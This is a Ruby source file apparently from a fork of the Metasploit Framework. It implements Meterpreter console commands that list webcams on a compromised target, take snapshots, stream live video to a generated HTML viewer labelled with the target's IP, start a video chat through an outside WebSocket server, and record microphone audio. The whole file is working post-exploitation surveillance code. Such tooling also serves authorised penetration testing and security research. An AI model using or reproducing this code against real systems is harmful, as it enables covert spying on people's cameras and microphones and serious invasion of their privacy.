/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb
https://github.com/Jonono2/metasploit-framework · Ruby · 343 lines · 292 code · 39 blank · 12 comment · 15 complexity · d5223d03f43586bf668063eaf7015859 MD5 · raw file
- # -*- coding: binary -*-
- require 'rex/post/meterpreter'
- module Rex
- module Post
- module Meterpreter
- module Ui
- ###
- #
- # Webcam - Capture video from the remote system
- #
- ###
- class Console::CommandDispatcher::Stdapi::Webcam
- Klass = Console::CommandDispatcher::Stdapi::Webcam
- include Console::CommandDispatcher
- #
- # List of supported commands.
- #
- def commands
- all = {
- "webcam_chat" => "Start a video chat",
- "webcam_list" => "List webcams",
- "webcam_snap" => "Take a snapshot from the specified webcam",
- "webcam_stream" => "Play a video stream from the specified webcam",
- "record_mic" => "Record audio from the default microphone for X seconds"
- }
- reqs = {
- "webcam_chat" => [ "webcam_list" ],
- "webcam_list" => [ "webcam_list" ],
- "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
- "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
- "record_mic" => [ "webcam_audio_record" ],
- }
- all.delete_if do |cmd, desc|
- del = false
- reqs[cmd].each do |req|
- next if client.commands.include? req
- del = true
- break
- end
- del
- end
- all
- end
- #
- # Name for this dispatcher
- #
- def name
- "Stdapi: Webcam"
- end
- def cmd_webcam_list
- begin
- client.webcam.webcam_list.each_with_index { |name, indx|
- print_line("#{indx + 1}: #{name}")
- }
- return true
- rescue
- print_error("No webcams were found")
- return false
- end
- end
- def cmd_webcam_snap(*args)
- path = Rex::Text.rand_text_alpha(8) + ".jpeg"
- quality = 50
- view = true
- index = 1
- wc_list = []
- webcam_snap_opts = Rex::Parser::Arguments.new(
- "-h" => [ false, "Help Banner" ],
- "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
- "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
- "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
- "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
- )
- webcam_snap_opts.parse( args ) { | opt, idx, val |
- case opt
- when "-h"
- print_line( "Usage: webcam_snap [options]\n" )
- print_line( "Grab a frame from the specified webcam." )
- print_line( webcam_snap_opts.usage )
- return
- when "-i"
- index = val.to_i
- when "-q"
- quality = val.to_i
- when "-p"
- path = val
- when "-v"
- view = false if ( val =~ /^(f|n|0)/i )
- end
- }
- begin
- wc_list << client.webcam.webcam_list
- rescue
- end
- if wc_list.length > 0
- begin
- print_status("Starting...")
- client.webcam.webcam_start(index)
- data = client.webcam.webcam_get_frame(quality)
- print_good("Got frame")
- ensure
- client.webcam.webcam_stop
- print_status("Stopped")
- end
- if( data )
- ::File.open( path, 'wb' ) do |fd|
- fd.write( data )
- end
- path = ::File.expand_path( path )
- print_line( "Webcam shot saved to: #{path}" )
- Rex::Compat.open_file( path ) if view
- end
- return true
- else
- print_error("No webcams where found")
- return false
- end
- end
- def cmd_webcam_chat(*args)
- if client.webcam.webcam_list.length == 0
- print_error("Target does not have a webcam")
- return
- end
- server = 'wsnodejs.jit.su:80'
- webcam_chat_opts = Rex::Parser::Arguments.new(
- "-h" => [ false, "Help banner"],
- "-s" => [ false, "WebSocket server" ]
- )
- webcam_chat_opts.parse( args ) { | opt, idx, val |
- case opt
- when "-h"
- print_line( "Usage: webcam_chat [options]\n" )
- print_line( "Starts a video conversation with your target." )
- print_line( "Browser Requirements:")
- print_line( "Chrome: version 23 or newer" )
- print_line( "Firefox: version 22 or newer" )
- print_line( webcam_chat_opts.usage )
- return
- when "-s"
- server = val.to_s
- end
- }
- begin
- print_status("Webcam chat session initialized.")
- client.webcam.webcam_chat(server)
- rescue RuntimeError => e
- print_error(e.message)
- end
- end
- def cmd_webcam_stream(*args)
- print_status("Starting...")
- stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
- player_path = Rex::Text.rand_text_alpha(8) + ".html"
- duration = 1800
- quality = 50
- view = true
- index = 1
- wc_list = []
- webcam_snap_opts = Rex::Parser::Arguments.new(
- "-h" => [ false, "Help Banner" ],
- "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
- "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
- "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
- "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
- "-t" => [ true, "The stream player path (Default: #{player_path})"],
- "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
- )
- webcam_snap_opts.parse( args ) { | opt, idx, val |
- case opt
- when "-h"
- print_line( "Usage: webcam_stream [options]\n" )
- print_line( "Stream from the specified webcam." )
- print_line( webcam_snap_opts.usage )
- return
- when "-d"
- duration = val.to_i
- when "-i"
- index = val.to_i
- when "-q"
- quality = val.to_i
- when "-s"
- stream_path = val
- when "-t"
- player_path = val
- when "-v"
- view = false if ( val =~ /^(f|n|0)/i )
- end
- }
- print_status("Preparing player...")
- html = %Q|<html>
- <head>
- <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
- <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
- <title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
- <script language="javascript">
- function updateStatus(msg) {
- var status = document.getElementById("status");
- status.innerText = msg;
- }
- function noImage() {
- document.getElementById("streamer").style = "display:none";
- updateStatus("Waiting");
- }
- var i = 0;
- function updateFrame() {
- var img = document.getElementById("streamer");
- img.src = "#{stream_path}#" + i;
- img.style = "display:";
- updateStatus("Playing");
- i++;
- }
- setInterval(function() {
- updateFrame();
- },25);
- </script>
- </head>
- <body>
- <noscript>
- <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
- </noscript>
- <pre>
- Target IP : #{client.sock.peerhost}
- Start time : #{Time.now}
- Status : <span id="status"></span>
- </pre>
- <br>
- <img onerror="noImage()" id="streamer">
- <br><br>
- <a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
- </body>
- </html>
- |
- ::File.open(player_path, 'wb') do |f|
- f.write(html)
- end
- if view
- print_status("Opening player at: #{player_path}")
- Rex::Compat.open_file(player_path)
- else
- print_status("Please open the player manually with a browser: #{player_path}")
- end
- print_status("Streaming...")
- begin
- client.webcam.webcam_start(index)
- ::Timeout.timeout(duration) {
- while client do
- data = client.webcam.webcam_get_frame(quality)
- if data
- ::File.open(stream_path, 'wb') do |f|
- f.write(data)
- end
- data = nil
- end
- end
- }
- rescue ::Timeout::Error
- ensure
- client.webcam.webcam_stop
- end
- print_status("Stopped")
- end
- def cmd_record_mic(*args)
- path = Rex::Text.rand_text_alpha(8) + ".wav"
- play = true
- duration = 1
- record_mic_opts = Rex::Parser::Arguments.new(
- "-h" => [ false, "Help Banner" ],
- "-d" => [ true, "Number of seconds to record (Default: 1)" ],
- "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
- "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
- )
- record_mic_opts.parse( args ) { | opt, idx, val |
- case opt
- when "-h"
- print_line( "Usage: record_mic [options]\n" )
- print_line( "Records audio from the default microphone." )
- print_line( record_mic_opts.usage )
- return
- when "-d"
- duration = val.to_i
- when "-f"
- path = val
- when "-p"
- play = false if ( val =~ /^(f|n|0)/i )
- end
- }
- print_status("Starting...")
- data = client.webcam.record_mic(duration)
- print_status("Stopped")
- if( data )
- ::File.open( path, 'wb' ) do |fd|
- fd.write( data )
- end
- path = ::File.expand_path( path )
- print_line( "Audio saved to: #{path}" )
- Rex::Compat.play_sound( path ) if play
- end
- return true
- end
- end
- end
- end
- end
- end